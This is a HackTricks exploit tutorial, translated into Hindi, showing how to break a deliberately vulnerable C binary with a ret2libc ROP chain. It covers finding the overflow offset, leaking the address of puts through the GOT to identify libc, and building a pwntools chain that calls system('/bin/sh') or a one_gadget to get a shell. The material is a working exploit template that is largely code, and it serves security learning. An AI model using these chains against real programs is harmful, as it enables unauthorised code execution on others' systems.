hacktricks/exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की अनुमति चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!

- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)

- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके।

</details>


# त्वरित सारांश

1. **ओवरफ़्लो ऑफ़सेट** ढूंढें
2. `POP_RDI`, `PUTS_PLT` और `MAIN_PLT` गैजेट्स ढूंढें
3. पिछले गैजेट का उपयोग करके puts या किसी अन्य libc फ़ंक्शन के मेमोरी पते को **लीक करें** और libc संस्करण का पता लगाएं ([इसे डाउनलोड करें](https://libc.blukat.me))
4. पुस्तकालय के साथ, **ROP की गणना करें और इसे उत्पन्न करें**

# अन्य ट्यूटोरियल और बाइनरी अभ्यास करने के लिए

यह ट्यूटोरियल इस ट्यूटोरियल में प्रस्तावित कोड/बाइनरी को शोषण करेगा: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
और एक उपयोगी ट्यूटोरियल: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)

# कोड

फ़ाइलनाम: `vuln.c`
```c
#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
```

```bash
gcc -o vuln vuln.c -fno-stack-protector  -no-pie
```
# ROP - LIBC का पता लगाने का टेम्पलेट

मैं यहां स्थित कोड का उपयोग करके एक एक्सप्लॉइट बनाने जा रहा हूँ।\
एक्सप्लॉइट डाउनलोड करें और इसे संक्रमित बाइनरी के साथ एक ही निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:

{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}

# 1- ऑफसेट ढूंढ़ना

एक्सप्लॉइट के साथ आगे बढ़ने से पहले टेम्पलेट को एक ऑफसेट की आवश्यकता होती है। यदि कोई भी प्रदान किया जाता है तो यह उसे ढूंढ़ने के लिए आवश्यक कोड को निष्पादित करेगा (डिफ़ॉल्ट रूप से `OFFSET = ""`):
```bash
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**क्रियान्वयित करें** `python template.py` एक GDB कंसोल खुलेगा जिसमें कार्यक्रम क्रैश हो जाएगा। उस GDB कंसोल में `x/wx $rsp` क्रियान्वित करें ताकि RIP को ओवरराइट करने वाले बाइट्स प्राप्त किए जा सकें। अंत में एक **पायथन** कंसोल का उपयोग करके **ऑफसेट** प्राप्त करें:
```python
from pwn import *
cyclic_find(0x6161616b)
```
![](<../../../.gitbook/assets/image (140).png>)

ऑफसेट (इस मामले में 40) को खोजने के बाद, उस मान का उपयोग करके टेम्पलेट में OFFSET चर को बदलें।\
`OFFSET = "A" * 40`

एक और तरीका हो सकता है: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.

# 2- गैजेट्स खोजना

अब हमें बाइनरी में ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स `puts` को कॉल करने के लिए उपयोगी होंगे ताकि **libc** का पता लगाया जा सके, और बाद में **अंतिम अधिकार** को शुरू करने के लिए।
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
```
`PUTS_PLT` को **फ़ंक्शन puts** को कॉल करने के लिए आवश्यक है।\
`MAIN_PLT` को **मुख्य फ़ंक्शन** को फिर से कॉल करने के लिए आवश्यक है, एक इंटरेक्शन के बाद **ओवरफ़्लो का शोध** करने के लिए (असीमित दौरों के अधिग्रहण के लिए)। **यह प्रोग्राम को फिर से कॉल करने के लिए हर ROP के अंत में उपयोग किया जाता है**।\
**POP\_RDI** को **पैरामीटर** को कॉल करने के लिए आवश्यक है।

इस चरण में आपको कुछ भी नहीं चलाने की आवश्यकता है क्योंकि प्रत्येक निष्पादन के दौरान pwntools द्वारा सभी चीजें मिल जाएगी।

# 3- LIBC पुस्तकालय खोजना

अब समय है कि हम जांचें कि कौन सी **libc** पुस्तकालय का उपयोग हो रहा है। इसके लिए हमें मेमोरी में **फ़ंक्शन** `puts` के **पते** को **लीक** करने की आवश्यकता होगी और फिर हमें यह जानने की आवश्यकता होगी कि उस पते में puts संस्करण किस पुस्तकालय संस्करण में है।
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
```
इसके लिए, निष्पादित कोड की सबसे महत्वपूर्ण पंक्ति है:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
यह कुछ बाइट भेजेगा जब तक **RIP** को **अधिलेखित** करना संभव हो जाएगा: `OFFSET`।
फिर, यह गैजेट `POP_RDI` का **पता** सेट करेगा ताकि अगला पता (`FUNC_GOT`) **RDI** रजिस्ट्री में सहेजा जा सके। इसका कारण है कि हमें **puts** को **बुलाना है** और इसे **पास** करना है `PUTS_GOT` का **पता** मानकी मेमोरी में पुट्स फंक्शन का पता `PUTS_GOT` द्वारा पता करने वाले पते में सहेजा जाता है।
इसके बाद, `PUTS_PLT` को बुलाया जाएगा (जिसमें **RDI** में `PUTS_GOT` होगा) ताकि पुट्स **`PUTS_GOT`** में अंदर की सामग्री पढ़ सके (**मेमोरी में पुट्स फंक्शन का पता**) और इसे **प्रिंट करेगा**।
अंत में, **मुख्य फ़ंक्शन को फिर से बुलाया जाता है** ताकि हम फिर से ओवरफ़्लो का उपयोग कर सकें।

इस तरीके से हमने **पुट्स फंक्शन को धोखा दिया** है कि वह **मेमोरी में पुट्स** फ़ंक्शन का **पता प्रिंट करेगा** (जो **लिब्सी** पुस्तकालय में है)। अब जब हमारे पास उस पते का हो गया है, हम **खोज सकते हैं कि कौन सी लिब्सी संस्करण का उपयोग हो रहा है**।

![](<../../../.gitbook/assets/image (141).png>)

हम कुछ **स्थानिक** बाइनरी का **उपयोग कर रहे हैं** इसलिए यह **आवश्यक नहीं** है कि हम जानें कि कौन सी **लिब्सी** संस्करण का उपयोग हो रहा है (बस `/lib/x86_64-linux-gnu/libc.so.6` में पुस्तकालय ढूंढें)।
लेकिन, दूरस्थ उत्पीड़न मामले में मैं यहां बताऊंगा कि आप इसे कैसे ढूंढ सकते हैं:

## 3.1- लिब्सी संस्करण की खोज करना (1)

आप वेब पृष्ठ में ढूंढ सकते हैं कि कौन सी पुस्तकालय का उपयोग हो रहा है: [https://libc.blukat.me/](https://libc.blukat.me)\
यह आपको खोजी हुई **लिब्सी** की संस्करण भी डाउनलोड करने की अनुमति देगा

![](<../../../.gitbook/assets/image (142).png>)

## 3.2- लिब्सी संस्करण की खोज करना (2)

आप भी कर सकते हैं:

* `$ git clone https://github.com/niklasb/libc-database.git`
* `$ cd libc-database`
* `$ ./get`

इसमें कुछ समय लगेगा, धैर्य रखें।
इसके लिए हमें चाहिए:

* लिब्सी प्रतीक नाम: `puts`
* लीक हुई लिब्सी पता: `0x7ff629878690`

हम जान सकते हैं कि कौन सी **लिब्सी** का उपयोग हो रहा है जो सबसे अधिक संभावित है।
```
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
हमें 2 मिलान मिलते हैं (यदि पहला काम नहीं कर रहा है तो आप दूसरा प्रयास करें)। पहले वाला डाउनलोड करें:
```
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
अपने काम करने के लिए `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` से libc की प्रतिलिपि को हमारे कार्यशाला में कॉपी करें।

## 3.3- लीक करने के लिए अन्य फ़ंक्शन्स
```python
puts
printf
__libc_start_main
read
gets
```
# 4- आधारित libc पता लगाना और उपयोग करना

इस बिंदु पर हमें लिबीसी पुस्तकालय का उपयोग किया जाना चाहिए। जैसा कि हम एक स्थानीय बाइनरी का उपयोग कर रहे हैं, मैं केवल इसका उपयोग करूंगा: `/lib/x86_64-linux-gnu/libc.so.6`

इसलिए, `template.py` की शुरुआत में **libc** चर को बदलें: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #जब इसे जानते हो तो पुस्तकालय पथ सेट करें`

**libc पुस्तकालय** के **पथ** को देने से **शेष अधिकार को स्वचालित रूप से गणना की जाएगी**।

`get_addr` फ़ंक्शन के अंदर **libc का आधार पता** गणना होगा:
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
ध्यान दें कि **अंतिम libc बेस पता 00 से समाप्त होना चाहिए**। यदि ऐसा नहीं है तो आपने गलत पुस्तकालय को लीक कर सकते हैं।
{% endhint %}

फिर, `system` फ़ंक्शन के पते और स्ट्रिंग _"/bin/sh"_ के **पते** की **गणना** **libc** के **बेस पते** से की जाएगी और दिए गए **libc पुस्तकालय** से।
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
अंत में, /bin/sh निष्पादन अभिकरण तैयार किया जाएगा और भेजा जाएगा:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction
```
चलो इस अंतिम ROP को समझाते हैं।
अंतिम ROP (`rop1`) में हम फिर से मुख्य फ़ंक्शन को कॉल कर रहे थे, फिर हम **ओवरफ़्लो** का फिर से **उपयोग कर सकते हैं** (इसीलिए `OFFSET` यहां फिर से है)। फिर, हम `POP_RDI` को **पॉइंट करना चाहते हैं** _"/bin/sh"_ के **पते** (`BINSH`) और **सिस्टम** फ़ंक्शन (`SYSTEM`) को कॉल करना चाहते हैं क्योंकि _"/bin/sh"_ का पता पैरामीटर के रूप में पास किया जाएगा।
अंत में, **एक्ज़िट फ़ंक्शन का पता** **कॉल किया जाता है** ताकि प्रक्रिया **अच्छी तरह से समाप्त हो** और कोई चेतावनी उत्पन्न नहीं होती है।

**इस तरह एक्सप्लॉइट एक **_**/bin/sh**_** शेल चलाएगा।**

![](<../../../.gitbook/assets/image (143).png>)

# 4(2)- ONE\_GADGET का उपयोग करना

आप [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget) का उपयोग करके **सिस्टम** और **"/bin/sh"** का उपयोग करने के बजाय एक शेल प्राप्त करने के लिए भी उपयोग कर सकते हैं। **ONE\_GADGET** लिबीसी पुस्तकालय के अंदर से एक **ROP पता** का उपयोग करके एक शेल प्राप्त करने का कोई तरीका खोजेगा।
हालांकि, आमतौर पर कुछ प्रतिबंध होते हैं, सबसे सामान्य और आसानी से टालने योग्य वे ऐसे होते हैं जैसे `[rsp+0x30] == NULL` जैसे कि आप **RSP** के अंदर के मान को नियंत्रित करते हैं आपको बस कुछ अधिक NULL मान भेजना होगा ताकि प्रतिबंध को टाला जा सके।

![](<../../../.gitbook/assets/image (615).png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
# एक्सप्लॉइट फ़ाइल

आप इस सुरक्षा कमजोरी को शोधने के लिए एक टेम्पलेट यहां पा सकते हैं:

{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}

# सामान्य समस्याएं

## MAIN\_PLT = elf.symbols\['main'] नहीं मिला

यदि "main" प्रतीक मौजूद नहीं है। तो आप सीधे मुख्य कोड को कहां है देख सकते हैं:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
और पता मैन्युअल रूप से सेट करें:
```python
MAIN_PLT = 0x401080
```
## Puts नहीं मिला

यदि बाइनरी Puts का उपयोग नहीं कर रहा है, तो आपको यह देखना चाहिए कि क्या यह इस्तेमाल कर रहा है

## `sh: 1: %s%s%s%s%s%s%s%s: not found`

यदि आप इस **त्रुटि** को पाते हैं जब आपने **सभी** एक्सप्लॉइट बना लिए हैं: `sh: 1: %s%s%s%s%s%s%s%s: not found`

तो कोशिश करें **"/bin/sh" के पते के ठीक पहले 64 बाइट को कम करें**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करना चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!

- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)

- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)

- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud)** को PR जमा करके।

</details>